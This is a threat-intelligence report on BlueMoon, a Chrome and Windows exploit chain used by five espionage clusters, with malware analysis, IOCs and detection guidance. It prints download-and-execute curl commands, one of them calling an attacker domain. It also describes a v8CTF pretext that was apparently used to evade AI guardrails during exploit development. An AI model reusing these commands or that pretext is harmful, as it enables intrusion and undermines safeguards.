# BlueMoon: One Exploit Chain, Five Espionage Groups

## Overview

On September 9, 2026, **Volexity** and **Proofpoint** simultaneously published two reports on the same concerning phenomenon: **multiple distinct cyber-espionage groups — most with China nexus — using a byte-for-byte identical exploit chain** against Google Chrome and Windows, all within roughly two weeks.

Proofpoint names the toolkit **BlueMoon**. Volexity documents the same exploit chain in the context of two separate campaigns run by **UTA0560** and **JungleBamboo** (also known as APT31 / Violet Typhoon / TA412 / TIDE CASTLE).

What makes this case remarkable is not the technical sophistication of the exploit, but **the mechanism that created the vulnerability window**: the exploited Chrome flaw **had already been patched in the open-source Chromium codebase**, but that fix **had not yet reached Chrome users**. In other words, this was an **N-day at the source level** but a **genuine zero-day for end users** — a phenomenon known as a **"patch gap."** An attacker needed only to watch public Chromium commits, reverse-engineer the fix, and hold a working exploit before Google shipped its release.

Volexity assesses with **high confidence** that as large language models become more effective at rapid vulnerability research and exploit development, **patch-gap vulnerabilities will present an even greater risk**, because they create an additional window of time for threat actors to operate.

> **Important note for Vietnamese readers:** Of the four clusters Proofpoint observed using BlueMoon, the group tracked as **UNK\_DoubleCheck** **directly targeted a Vietnamese manufacturing company** beginning September 2, 2026, using emails sent from **a compromised Southeast Asian government email account**, themed around vaccination appointment registration. Full details below.

* * *

## Context: What a "Patch Gap" Is and Why It Matters

Chrome is built on the open-source **Chromium** codebase. When a vulnerability is reported and fixed in Chromium, that fix **appears publicly in the repository** before Google packages and ships a Chrome Stable release to users. The interval between those two moments is the "patch gap."

**For CVE-2026-85046, the timeline was:**

| **Date** | **Event** |
| --- | --- |
| August 4, 2026 | A private security researcher reports the vulnerability to the Chromium project |
| August 7, 2026 | The fix is committed to the Chromium codebase — **publicly visible in the repository** |
| August 27–29, 2026 | Dates found in the exploit code, indicating the development window |
| August 28, 2026 | **TA412/JungleBamboo begins using BlueMoon** (per Proofpoint) |
| September 1, 2026 | Volexity detects the UTA0560 and JungleBamboo campaigns |
| September 2–3, 2026 | Two additional clusters begin using BlueMoon |
| September 3, 2026 | **Google ships the fix** in Chrome Stable 152.0.7977.82/.83 |
| September 4, 2026 | CISA adds the flaw to its Known Exploited Vulnerabilities (KEV) catalog |
| September 18, 2026 | **CISA remediation deadline for US federal systems** |

Proofpoint calculates this window lasted **nearly four weeks** — enough time for someone closely watching the Chromium repository to reverse-engineer the patch and weaponize it into a working exploit.

**The open-source paradox:** transparency lets the community inspect and improve security, but it also means **a patch is a detailed description of the vulnerability itself**. To a capable attacker — increasingly assisted by AI — a commit diff is a roadmap.

* * *

## Threat Actors Using BlueMoon

Combining both reports, **five activity clusters** have been documented:

| **Group** | **Reported by** | **First seen** | **Targets** | **Final payload** | **Attribution** |
| --- | --- | --- | --- | --- | --- |
| **TA412 / JungleBamboo** (APT31, Violet Typhoon, TIDE CASTLE) | Proofpoint + Volexity | Aug 28, 2026 | NGOs, mining companies, physical commodity trading firms (US) | **SUPERSTOMP → LONGTALE** (Volexity) / **GemStone** (Proofpoint) — Chrome extension impersonating Google Gemini | China-aligned; indicted by the US in 2024, attributed to MSS Hubei State Security Department via front company Wuhan Xiaoruizhi (武汉晓睿智科技有限责任公司) |
| **UTA0560** | Volexity | Sep 1, 2026 | Multiple non-governmental organizations (NGOs) | **GRIMWEDGE** — JScript backdoor | China-aligned; Volexity attributes with **high confidence** to its own March 2026 campaigns |
| **UNK\_LateNight** | Proofpoint | Sep 2, 2026 | Multiple US aerospace companies | **ShadowPad** backdoor | Suspected China nexus |
| **UNK\_DoubleCheck** | Proofpoint | Sep 2, 2026 | **A Vietnamese manufacturing company** | Rust loader chain via DLL sideloading | **No country attribution**; very likely espionage-motivated |
| **UNK\_QuietRacket** | Proofpoint | Sep 3, 2026 | Government, consulting, financial sector in **Indonesia and Singapore** | Unidentified custom malware | Suspected China nexus |

**Assessments on the exploit chain's origin:**

*   **Volexity** assesses with **low confidence** that the exploit chain **may have been sold or otherwise provided** to different end-users in China — explaining the near-simultaneous campaigns using entirely distinct post-exploitation malware.
    
*   **Volexity** assesses with **medium confidence** that the short window created by the Chrome patch delay **necessitated** that these actors reuse the core exploit code without modification. Furthermore, each actor's payloads were compiled using different toolsets, suggesting entirely separate development environments per malware developer.
    
*   **Proofpoint** raises several hypotheses: a **shared commercial procurement chain**, a **"digital quartermaster"** supplying the capability to multiple state-aligned actors, or direct dissemination via a **centralized state-affiliated organization**.
    

* * *

## Technical Analysis

### 1\. Exploit Chain Overview — Three Vulnerabilities in Sequence

```plaintext
Spear-phishing email (link)
└─► Redirect (XSS on a legitimate site / Cloudflare Worker / spoofed domain)
 └─► Landing page showing a decoy image (donation form, loading page...)
  └─► JavaScript loader (User-Agent filter: Chrome on Windows only)
   └─► Hidden iframe → exploit page
    ├─► CVE-2026-85046: V8 type confusion → arbitrary R/W in V8 cage
    ├─► CVE-2026-87491: WebAssembly defect → escape V8 sandbox
    └─► CVE-2026-85880: Windows kernel LPE → escape renderer sandbox
     └─► Inject into Chrome browser process (outside sandbox)
      └─► curl downloads payload → execute
```

**The three vulnerabilities:**

| **CVE** | **Component** | **Type** | **Role in the chain** |
| --- | --- | --- | --- |
| **CVE-2026-85046** | Chromium V8 JavaScript Engine | Type confusion | Gains arbitrary read/write within the V8 heap cage |
| **CVE-2026-87491** | Chromium V8 (WebAssembly) | Sandbox escape | Overwrites compiled WebAssembly function bodies with shellcode to escape the V8 sandbox |
| **CVE-2026-85880** | Windows kernel (`RtlpCreateServerAcl`) | Local Privilege Escalation | Escapes Chrome's sandboxed renderer process, enables `SeDebugPrivilege` |

**On CVE-2026-85046 (technical detail per Proofpoint):** The flaw abuses an optimization assumption shared by both of V8's JIT compilers — **Maglev** and **TurboFan**. Both attempt to optimize `Array.prototype.sort` by replacing built-in functions with versions specialized for the array's "elements kind." An elements kind can normally only move from more specialized to more generalized — **unless** `Array.fill()` **is called to replace every element**, in which case V8 can optimize back to the more specialized kind. By training the compiler to recognize a set of optimized sort functions, then **changing the elements kind mid-sort** with a `fill()` call, the attacker tricks the compiler into treating object references as SMIs (small integers) — producing a heap offset leak that forms the basis of the `addrof` primitive.

![](https://cdn.hashnode.com/uploads/covers/669e2578c18c3baa1b4fc070/4f1c7e51-f35b-468c-a58f-91ef426753d1.png align="center")

**On CVE-2026-85880 (Windows kernel LPE):** A previously unreported vulnerability in `RtlpCreateServerAcl`, exploited via **ALPC (Advanced Local Procedure Call)** and **WNF (Windows Notification Facility)** mechanisms. Notably, **this flaw only exists on older Windows builds**:

| **Build** | **Version** |
| --- | --- |
| 17763 | Windows 10 1809 / Server 2019 |
| 19041–19045 | Windows 10 2004, 20H2, 21H1, 21H2, 22H2 |
| 20348 | Windows Server 2022 |
| 22000 | Windows 11 21H2 (initial release) |

All builds above 22000 are **rejected by the exploit**. Proofpoint notes that pairing a fresh Chrome flaw with an LPE that only works on older Windows **substantially narrows the pool of viable targets** and reduces the chain's overall probability of success — a sign of **rushed deployment** rather than a mature, long-planned operation. The LPE DLL's compilation timestamp is from **2025** and shows no signs of forgery, suggesting the exploit creator **repackaged an existing capability** into BlueMoon.

* * *

### 2\. Toolkit Architecture — Three Embedded Payloads

Despite different packaging across actors, the core JavaScript always contains **three Base64-encoded components**:

| **Component** | **Type** | **Function** |
| --- | --- | --- |
| `p1` | Position-independent shellcode, reflectively loads a DLL | **Host reconnaissance**: OS version and build, process token integrity level, CPUID features, hypervisor detection (distinguishing VMware, Hyper-V, KVM, Xen by vendor string), privilege inventory |
| `p2` | Position-independent shellcode, reflectively loads a DLL | **Windows kernel LPE** (CVE-2026-85880) — only runs if the process is not already elevated and the Windows build is in the target set |
| `pp` | Position-independent shellcode | **Injects into the Chrome browser process**: locates the parent process, opens it with full access, allocates executable memory, writes a stub and command line, starts a remote thread calling `CreateProcessA` |

**Notable detail about** `p1`**:** the DLL's anti-analysis checks are **passive**. Debugger presence, sandbox indicators, and hypervisor detection are all **reported in JSON but not acted upon**. The decision to proceed or abort is made by the calling JavaScript, not the DLL. The JavaScript consumes only three fields to decide whether the LPE is needed — but **the full JSON profile remains available to the attacker** for host assessment.

**Default command after successful exploitation:**

```plaintext
cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"
```

Proofpoint emphasizes this is a **significant OPSEC weakness**: it produces a highly distinctive process tree (`chrome.exe` → `cmd.exe` → `curl.exe` → `msgbox.exe`) — **multiple high-signal detection opportunities** for endpoint security products. Further evidence that **rapid deployment was prioritized over detection avoidance**.

* * *

### 3\. An Exploit Page With 13 URL Parameters — Traces of a Development Harness

The `page.html` exploit page accepts **13 URL parameters**, many characteristic of a **development harness** rather than an operational attack tool:

| **Parameter** | **Purpose** |
| --- | --- |
| `beacon` | Base URL for telemetry — each exploitation phase fires a fetch so the operator can see the last phase reached before a crash |
| `dry` | Dry run — executes exploit logic without deploying shellcode payloads |
| `exeurl` | URL of the binary to download after exploitation |
| `force2` | Force the LPE stage regardless of the `p1` fingerprint result |
| `forcepp` | Force the injection stage regardless of whether the LPE succeeded |
| `map` | Override V8's `MAP_WORD` heap constant — when unset, the exploit derives it at runtime via a memory leak, giving resilience across Chrome 151.x point releases |
| `mode` | Execution mode; **must be set to** `payload` for the exploit to run — a safety mechanism during testing |
| `p2step` | **Breakpoint** within the kernel LPE — halts at a named sub-phase for debugging |
| `retry` | Toggle the automatic retry mechanism (default: up to five attempts) |
| `runpayload` | Skip the final payload download and execution |
| `step` | **Breakpoint** within the injection stub |
| `stopAfter` | Halt exploitation at a named phase — used to debug individual stages |
| `worker` | Run the exploit on the main thread instead of a Web Worker |

**A notable technical detail:** the exploit runs in a **dedicated Web Worker** rather than the main thread — meaning a renderer crash from a failed attempt **does not kill the visible tab or alert the victim**. It also includes a retry mechanism storing an attempt counter in `sessionStorage` under the key `v8ctf_exp_attempt`, re-launching up to **five times** on recoverable failures.

* * *

### 4\. Evidence of AI-Assisted Development

This is the most significant finding in terms of broader trends. **Proofpoint stresses that no single artifact conclusively confirms AI-assisted development**, but identifies several indicators consistent with the hypothesis:

![](https://cdn.hashnode.com/uploads/covers/669e2578c18c3baa1b4fc070/b0171055-2822-4609-8ff0-6c11d638da61.png align="center")

1.  **Extensive diagnostic logging capabilities**, including instructions to the exploit tester: *"please send the full log back (copy it from the page)"* — phrasing aimed at a user, not internal developer notes.
    
2.  **A reference to a Markdown handover document:** a code comment points to `docs/v8-ctf-chrome-stage4-handover.md`. Proofpoint notes such handover files are **commonly used by AI agents to facilitate context transfer between sessions or models**.
    
3.  **Detailed comments documenting successive debugging iterations:** comments frequently explain previous failures, subsequent revisions, and constraints that future changes must respect — the self-narrating style characteristic of AI coding tools.
    
4.  **References to v8CTF:** BlueMoon contains multiple references to **v8CTF** (Google's V8 engine bug bounty challenge), including the retry counter key `v8ctf_exp_attempt` and the log heading `v8-ctf chrome`. Proofpoint poses a question worth serious reflection: **it is unclear whether the V8 exploits were genuinely developed against the v8CTF bug bounty framework, or whether this pretext was used by the developers to evade large language model guardrails.**
    
5.  **A default configuration departing from OPSEC norms** typically associated with professional browser exploit chains (such as those from Intellexa, ForumTroll, or Citrine Sleet) — specifically, a `curl` command that drops a file to disk and executes it, generating very high detection signal.
    

**Proofpoint's conclusion:** this overall pattern may reflect **a falling cost and barrier to entry** for this class of capability, as AI agents increasingly enable threat actors to develop exploits — particularly for open-source codebases like Chromium, where publicly accessible upstream patches create a patch-gap window for rapid reverse engineering.

* * *

### 5\. Post-Exploitation — Five Groups, Five Different Paths

Once the shared exploit chain achieves code execution, the groups diverge entirely.

#### 5.1. UTA0560 → GRIMWEDGE (JScript backdoor)

**Loader chain:**

1.  `msgbox.exe` — a dropper compiled **August 31, 2026** (one day before the phishing emails), whose sole purpose is to extract a legitimate Windows EXE and a malicious DLL for sideloading.
    
2.  `wsc.dll` — the sideloaded dropper. Creates a **scheduled task named "Windows Scheduled System"** that re-runs the sideloading chain **every five minutes**. Beacons to `hxxps://cloud[.]shinewrist[.]net/<removed>/%COMPUTERNAME%.txt` — a **per-host staging model** allowing the actor to serve targeted payloads to individual devices.
    
3.  `Temp.txt` — a 408 KB MSI package (built with Advanced Installer 14.5.2) executing obfuscated JScript in its custom actions. The JScript creates an HTTP client and enters an infinite loop POSTing to `hxxps://ocr[.]opusaccel[.]top` with a tab-delimited body containing the victim's domain, username, and command output from the prior iteration. **HTTP responses are evaluated as JScript code.**
    
4.  **GRIMWEDGE** — a backdoor executing entirely in memory as an `eval()`'d string within the `msiexec.exe` process.
    

**Notable detail:** UTA0560 **updated** `msgbox.exe` **and** `wsc.dll` **on September 2, 2026** — the new version changes the scheduled task from a passive retry to **active re-execution of the full sideloading chain**, and adds a pre-check to avoid duplicate tasks. Both versions were served from the same URL.

**GRIMWEDGE command set (10 commands, under 250 lines of code):**

| **ID** | **Command** | **Capability** |
| --- | --- | --- |
| 0 | Info | System reconnaissance: OS version, build, architecture, installed hotfixes, antivirus products, domain/user/computer name, IP and MAC addresses, drive letters, installed software |
| 1 | Dir | Directory listing with timestamps and file sizes |
| 2 | Mkdir | Create a directory |
| 3 | Del | Delete a file |
| 4 | Tasklist | List running processes with PID, owning user, and full command line |
| 5 | Taskkill | Terminate a process by PID |
| 6 | Type | Read a file (up to 5 MB) |
| 7 | Run | Execute a command with a hidden window |
| 8 | Upload (chunk) | Receive a Base64 chunk from C2 and append to an in-memory buffer |
| 9 | Upload (commit) | Save the accumulated buffer to disk as the final file |

GRIMWEDGE has **no built-in persistence, lateral movement, or exfiltration mechanism** beyond its file-read and upload commands — it provides an initial foothold sufficient for UTA0560 to survey the host, retrieve files of interest, and deploy additional tooling via `Run` and `Upload`.

#### 5.2. JungleBamboo/TA412 → SUPERSTOMP + LONGTALE/GemStone (fake Gemini Chrome extension)

This is the most technically sophisticated evasion path.

**SUPERSTOMP** (Volexity) / **the msgbox.exe installer** (Proofpoint) is a loader that installs a malicious Chrome extension by **forging the Secure Preferences mechanism**.

**Background:** Chrome has repeatedly hardened the very mechanism this technique relies on:

*   **November 2025:** Chromium added per-preference `*_encrypted_hash` values to prevent tampering.
    
*   **June 2026:** Chromium added `super_encrypted_hash`, providing an integrity check across the full set of Preferences.
    

**SUPERSTOMP still succeeds by:**

1.  Copying the existing Secure Preferences file
    
2.  **Removing** the per-preference `_encrypted_hash` entries and `super_encrypted_hash`
    
3.  Adding the malicious extension and enabling the required extension settings
    
4.  **Generating valid legacy HMAC values** for the modified preferences and recalculating `super_mac`
    
5.  Replacing the original Secure Preferences file with the tampered one
    

When Chrome next starts, the encrypted authenticators are **absent**. Because **legacy-MAC fallback remains permitted**, Chrome validates the forged state using the attacker-generated legacy HMACs. Chrome then treats the profile as **requiring migration** and generates new encrypted hashes for the modified state — **effectively authenticating the malicious extension under the newer integrity scheme itself**.

> **Critical detail:** Volexity notes Chrome **enables this legacy fallback by default** in releases as of September 8, 2026; only compiling Chromium from source disables it. More notably still: **this technique was added to one of the most popular GitHub repositories for silent Chrome extension installation on August 6, 2026** — weeks before JungleBamboo's campaign. The line between public research and operational tradecraft keeps getting shorter.

**LONGTALE / GemStone** is a Chrome extension masquerading as a **Google Gemini** assistant (extension ID: `ckiknalbeplpcpofpnabcnhjcegckfei`):

| **Feature** | **Description** |
| --- | --- |
| Keylogging and form capture | Records **every** keystroke, input field value, and pasted clipboard text **across all browser tabs**, **with no suppression of sensitive fields** |
| Cookie and session theft | Steals all browser cookies via the Chrome extension API, plus `localStorage`/`sessionStorage` tokens — multiple independent paths to hijack authenticated sessions |
| Keyword-triggered screenshots | Monitors page content for C2-supplied keywords using polling and MutationObservers; matches trigger JPEG screenshots that are queued and exfiltrated |
| Bulk data exfiltration | Sends collected keystrokes, cookies, storage data, navigation history, and session metadata to C2 at **~30-second intervals** when active. **Enabled by default on first run** |
| Remote command and control | Accepts **14 commands**, including on-demand cookie/storage/screenshot collection, keyword list updates, recording toggling, and **arbitrary cross-origin HTTP requests from the victim's browser context** |

**Volexity's assessment:** LONGTALE **has no remote code execution command at all**. Volexity assesses with **low confidence** that the actor regarded this as unnecessary — LONGTALE's extensive information-theft capabilities were sufficient to achieve its credential theft and surveillance objectives. Volexity also assesses with **medium confidence** that malicious Chrome extensions are **often harder to detect** than other file types such as executables — likely a factor in JungleBamboo's payload choice.

**Additional detail from Proofpoint on GemStone:** TA412's installer **enumerates all Chromium-family browsers** — Google Chrome, Microsoft Edge, Brave, and Vivaldi — then **terminates each browser process before modifying preferences** (since Chromium holds preference files open while running), and afterwards **relaunches the browser with** `--restore-last-session` to restore the user's open tabs and windows — fully concealing the fact that the browser was just restarted.

GemStone generates a victim identifier in the form `gemini-<first 12 characters of extension ID>-<public IP>`, obtaining the public IP from `api.ipify[.]org` and `ipinfo[.]io`, then registering with a **Cloudflare Worker domain** as C2.

#### 5.3. UNK\_LateNight → ShadowPad (US aerospace)

Phishing emails themed around **B2B and Request for Quotation (RFQ)** inquiries specifically related to the US defense industrial base. Domains spoofed numerous US aerospace companies. The group **hardcoded multiple redirect URL options** in the BlueMoon configuration, all pointing to genuine US aerospace company websites.

**Post-exploitation chain:** `msgbox.exe` is a loader that drops a DLL-sideloading pair alongside an obfuscated TMP file (`A08744D2.tmp`). The DLL reads and AES-decrypts the TMP file, then injects the decrypted contents into one of several hardcoded injection targets such as `wmpnetwk.exe`. The TMP file is **immediately overwritten**, and the payload is written to the registry as a **backup storage mechanism**. A scheduled task named `EdgeCore_AutoUpdate` periodically reinitiates the infection chain; if the TMP file fails to decrypt, the DLL falls back to the registry copy.

The final payload is **ShadowPad** — a backdoor that **unhooks 20 network monitoring functions** to remain stealthy, steals Firefox profile data, sniffs network traffic, and beacons over HTTPS to `ms.checrity[.]com` using a binary C2 protocol with rotating user-agent strings.

#### 5.4. UNK\_DoubleCheck → Rust loader chain (Vietnam)

**This is the cluster directly involving Vietnam.**

Beginning **September 2, 2026**, UNK\_DoubleCheck targeted **a Vietnamese manufacturing entity** with messages sent from **a compromised Southeast Asian government email address** — themed around **vaccination appointment registration**.

The emails contained links to an **attacker-controlled Cloudflare Worker** hosting BlueMoon. Notably, **this is the only BlueMoon variant observed using obfuscation** to encode the JavaScript loader and configuration components.

**Post-exploitation chain** (differing from the default `msgbox.exe` configuration):

```plaintext
cmd.exe /c curl.exe -k -o "%APPDATA%\Microsoft\Windows\#1"
hxxps://homepage.brianwilli[.]com/d/{wint.exe,calibre-launcher.dll,85rY.dat,SysPr.prx}
&& "%APPDATA%\Microsoft\Windows\wint.exe"
```

This initiates a **DLL-sideloading chain** to RC4-decrypt a blob named `SysPr.prx` and load the resulting **Rust** executable into memory. The Rust binary connects to the **Cloudflare R2 Bucket** `1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com` to download and execute a second DLL-sideloading set that uses `fracons[.]com` for C2.

**Proofpoint does not attribute UNK\_DoubleCheck to a specific country** at the time of publication, but assesses the group is **very likely espionage-motivated**.

#### 5.5. UNK\_QuietRacket → Custom malware (Indonesia, Singapore)

Beginning **September 3, 2026**, targeting government, consulting, and financial sector organizations in **Indonesia and Singapore**, with emails themed around Indonesian conferences (Indo Startup Expo & Forum 2026, World Conference on Creative Economy 2026).

This group **modified BlueMoon's** `pp` **injector shellcode** to download and execute a DLL-sideloading pair (`GfExperienceService64.exe` and `GFExperienceUpdate.dll`) instead of `msgbox.exe`. A notable technical detail: the **DLL loader resolves its C2 infrastructure entirely over Google DNS-over-HTTPS (DoH)** — retrieving a TXT record for `dns.elixnovorem[.]com` and ChaCha20-decrypting it, leading to a Cloudflare Worker serving a decoy HTML page whose body is Base64-decoded, ChaCha20-decrypted, and loaded as a .NET assembly in memory. That .NET payload simply sets a scheduled task `GeForceService` for persistence.

* * *

## Risk Summary

| **Risk Dimension** | **Level** | **Rationale** |
| --- | --- | --- |
| **Remote exploitability** | Critical | Requires only that the victim **click one link** — no file download, no macro, no further interaction |
| **Capability proliferation speed** | Very High | 5 distinct groups using the same exploit within ~2 weeks; Proofpoint forecasts further spread, including to financially motivated actors |
| **Stealth** | **Medium-Low** | The `chrome.exe → cmd.exe → curl.exe → msgbox.exe` process tree is highly detectable — BlueMoon's greatest weakness |
| **Viable target pool** | Medium | The LPE only works on Windows builds ≤ 22000 — substantially narrowing the victim set |
| **Impact if successful** | Critical | Depends on payload: from full browser credential/cookie theft (LONGTALE/GemStone) to a complete backdoor (ShadowPad) |
| **Relevance to Vietnam** | **High** | A Vietnamese manufacturer was directly targeted; emails sent from a compromised Southeast Asian government account |
| **Systemic (patch-gap) risk** | **Very High** | Volexity assesses with high confidence that patch-gap risk grows as AI makes patch reverse-engineering more effective |

* * *

## IOCs & Artifacts

### Vulnerabilities Requiring Immediate Patching

| **CVE** | **Product** | **Patch status** |
| --- | --- | --- |
| **CVE-2026-85046** | Google Chrome / Chromium (V8) | Fixed in **Chrome 152.0.7977.82/.83** (Sep 3, 2026). Added to CISA KEV Sep 4; federal remediation deadline **Sep 18, 2026** |
| **CVE-2026-87491** | Google Chrome / Chromium (V8 sandbox escape) | Fixed in Chrome Stable |
| **CVE-2026-85880** | Windows kernel (`RtlpCreateServerAcl`) | Remediated by Microsoft (see MSRC) |

### File Indicators (SHA-256)

**Shared exploit chain (Volexity):**

```plaintext
d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343b  Files1.html (UTA0560)
337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130d  react.min.js (UTA0560)
7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c  page.html (shared)
cd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0  p1 data (shared)
b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1  p1 DLL (shared)
5995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6  p2 data (shared)
51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc  p2 DLL (shared)
```

**UTA0560 (GRIMWEDGE):**

```plaintext
69c1603f3f9015beb0097d0a3bb0f17400c314e2eae65a7eceacd3b93ea570dc  msgbox.exe
3b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367f  wsc.dll
56eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951  Temp.txt (MSI)
59dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcb  GRIMWEDGE backdoor
```

**JungleBamboo / TA412 (SUPERSTOMP + LONGTALE/GemStone):**

```plaintext
e2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0  msgbox.exe (SUPERSTOMP)
5eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3  a001 (LONGTALE extension)
779b3e1a470e589d492b99154ba11622fbaebb19b3de694f660c725411b7096d  driver-html.js
ff1b49aaec994f4c11f2c9331e739abb4bc3d6abf66ec50ce99709fba35d782b  BlueMoon exploit JavaScript
7d6f6dcb17a423bdd7715f8a4e34f2939501a761bc9bf7aa005f805ef1f82288  ChromeUpdate.exe / msgbox.exe
e950d03c58d49e28e31df8afeefca1f3b3d2cd6b697c40adfee1a4f6fe18f004  dist.zip
353b5bd2780c1b0c07c1283d83cf16cf1e9ec226c17b2d09d56848893f9d98ee  background.js (GemStone)
```

**UNK\_DoubleCheck (Vietnam campaign):**

```plaintext
ac6bbc4b1f1c62e308781329183a46e18f454c27e66bffa09f343b53ac622b69  font-01.js (BlueMoon exploit JS)
ac6806c89e294f390838cb07c015dabec1c8ada06ce5161a0ad50b8a72828141  calibre-launcher.dll
3594ad58fb6217fafe9839e53999a90608c2e9f335fa20aece3d53f8c0802726  SysPr.prx
3ec3151d8d1278ed966941ac89ea495ef6a80c70613dd9138cc85fc28c9df432  krita.dll
6e6378d8d404166da89d982e80bc52e19a3f677201258dec1775f100a027a92d  SysPr.prx (variant)
```

**UNK\_LateNight (ShadowPad):**

```plaintext
a4a6a04d85eca8d584d939d2437c85a4f291207d8042f2ec002838e336b72ef5  Index.js
295fc584f75e94108c9be945977db33ed80421f5d374eab188587c911dffd915  msgbox.exe
bc7d24f5cf8937b334966201bdcce8ca9bab6ec5889d40a399d4094dcad73360  mctsetup64.dll
```

**UNK\_QuietRacket:**

```plaintext
b34802a646fc4a8f07ffa09a5fda8bf7327446b22e3d7bb5163dafa1e2a8bb2b  Loader.js
8453c42904b7b2fea5671b7bff06b2d937632ae29545fd11bc13095627a2805f  Indostartupexpo.js
f3c64014221a58f3fde88e562662dbd5a1b3dd2b59c86e9e2bc5cb8f671664e7  GFExperienceUpdate.dll
87b6b24c06f99900a8aa579caedee1e402015884c925a98dcfb0fb38dfa2de22  GFExperienceUpdate.dll
```

### Network Indicators

| **Indicator** | **Group** | **Role** |
| --- | --- | --- |
| `cloud.shinewrist[.]net` | UTA0560 | C2 and exploit hosting |
| `ocr[.]opusaccel[.]top` | UTA0560 | GRIMWEDGE C2 |
| `206[.]166[.]251[.]164` | UTA0560 | Hosts `cloud.shinewrist[.]net` |
| `ircribbin77[@]hotmail[.]com` | UTA0560 | Phishing sender (display name "Irma Cribbin") |
| `msbenefit[.]com`, `gitprogram[.]com` | JungleBamboo | Phishing and C2 infrastructure (using Cloudflare Tunnels) |
| `secboxes[.]com`, `attcdn[.]com` | TA412 | Delivery and download domains |
| `brianwilli[.]com` / `homepage.brianwilli[.]com` | **UNK\_DoubleCheck** | **Download domain (Vietnam campaign)** |
| `fracons[.]com` | **UNK\_DoubleCheck** | **C2 domain (Vietnam campaign)** |
| `mailtbox.workers[.]dev` / `vncdc.mailtbox.workers[.]dev` | **UNK\_DoubleCheck** | **BlueMoon delivery hostname** |
| `1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com` | **UNK\_DoubleCheck** | **Cloudflare R2 bucket for stage-2 payloads** |
| `ms.checrity[.]com` / `checrity[.]com` / `79.133.56[.]90` | UNK\_LateNight | ShadowPad C2 |
| `airproducts[.]ink`, `precipart[.]ink`, `epsilonsystems[.]net`, `rocketlabusa[.]ink`, `spectrolab[.]fit` | UNK\_LateNight | Domains spoofing US aerospace companies |
| `joinmacket[.]com`, `openlumakora[.]com`, `getaiexo[.]com`, `elixnovorem[.]com`, `velodynaity[.]com` | UNK\_QuietRacket | Delivery and C2 infrastructure |

### Hunting Indicators

**Published by Proofpoint:**

*   **Distinctive process tree:** `chrome.exe` → `cmd.exe` → `curl.exe` → `msgbox.exe`
    
*   **Session key** `v8ctf_exp_attempt` written to `sessionStorage` in Chrome
    
*   **Scheduled tasks:** `EdgeCore_AutoUpdate` (UNK\_LateNight), `MicrosoftEdgeUpdatesTaskMachine` and `Avpcheckup` (UNK\_DoubleCheck)
    
*   **Mutex:** `Dataupcheckinfo` (UNK\_DoubleCheck)
    
*   **Registry persistence:** `HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32` (UNK\_DoubleCheck)
    
*   **Files dropped to** `%TEMP%`**:** `ChromeUpdate.exe` or `msgbox.exe`
    

**Published by Volexity:**

*   **Scheduled task:** `Windows Scheduled System` running every five minutes (UTA0560)
    
*   **Malicious extension ID:** `ckiknalbeplpcpofpnabcnhjcegckfei` (LONGTALE, fake Google Gemini)
    
*   **Extension extraction directory:** `C:\Users\Public\stomp_ext`
    

### Published Detection Rules

*   **Proofpoint ET rules:** SIDs `2071919`–`2071924` (BlueMoon EK JS Loader M1/M2/M3, CnC Beacon Outbound ok/fail/phase)
    
*   **Proofpoint YARA rule:** `MAL_BlueMoon_ExploitKit` (author: Greg Lesnewich) — matching on distinctive strings including `CVE_EXP_CORE`, `PAYLOADS_B64`, `v8ctf_exp_attempt`, `MAP_WORD`, `cageRead`/`cageWrite`, plus shellcode markers. **The full rule is available in Proofpoint's original report** (see References).
    
*   **Volexity IOC repository:** github.com/volexity/threat-intel/tree/main/2026/2026-09-09 Chrome
    

* * *

## MITRE ATT&CK Mapping

| **Tactic** | **Technique ID** | **Technique Name** | **Description in Campaign** |
| --- | --- | --- | --- |
| **Resource Development** | T1583.001 | Acquire Infrastructure: Domains | Exploit delivery infrastructure created **the same day as, or days immediately preceding,** the associated campaigns |
| **Resource Development** | T1588.005 | Obtain Capabilities: Exploits | Multiple groups obtained the same BlueMoon kit — suggesting an exploit broker or "digital quartermaster" |
| **Initial Access** | T1566.002 | Phishing: Spearphishing Link | Spear-phishing emails with links, themed per target |
| **Initial Access** | T1189 | Drive-by Compromise | Browser exploitation triggered on page visit |
| **Initial Access** | T1190 | Exploit Public-Facing Application | Abused a reflected XSS flaw on a legitimate US university website for redirection |
| **Execution** | T1204.001 | User Execution: Malicious Link | Social engineering drives the victim to click |
| **Execution** | T1203 | Exploitation for Client Execution | CVE-2026-85046 + CVE-2026-87491 chain in Chrome |
| **Execution** | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | `cmd.exe /c curl ... && ...` post-exploitation |
| **Privilege Escalation** | T1068 | Exploitation for Privilege Escalation | CVE-2026-85880 in the Windows kernel (ALPC/WNF) |
| **Defense Evasion** | T1055 | Process Injection | `pp` shellcode injects into the Chrome browser process (outside the sandbox) |
| **Defense Evasion** | T1620 | Reflective Code Loading | `p1` and `p2` reflectively load embedded DLLs; GRIMWEDGE runs via `eval()` in `msiexec.exe` |
| **Defense Evasion** | T1027 | Obfuscated Files or Information | Obfuscated JavaScript loader; UNK\_DoubleCheck RC4-encrypts the `SysPr.prx` blob |
| **Defense Evasion** | T1574.002 | Hijack Execution Flow: DLL Side-Loading | Sideloading chains used by UTA0560, UNK\_LateNight, UNK\_DoubleCheck, UNK\_QuietRacket |
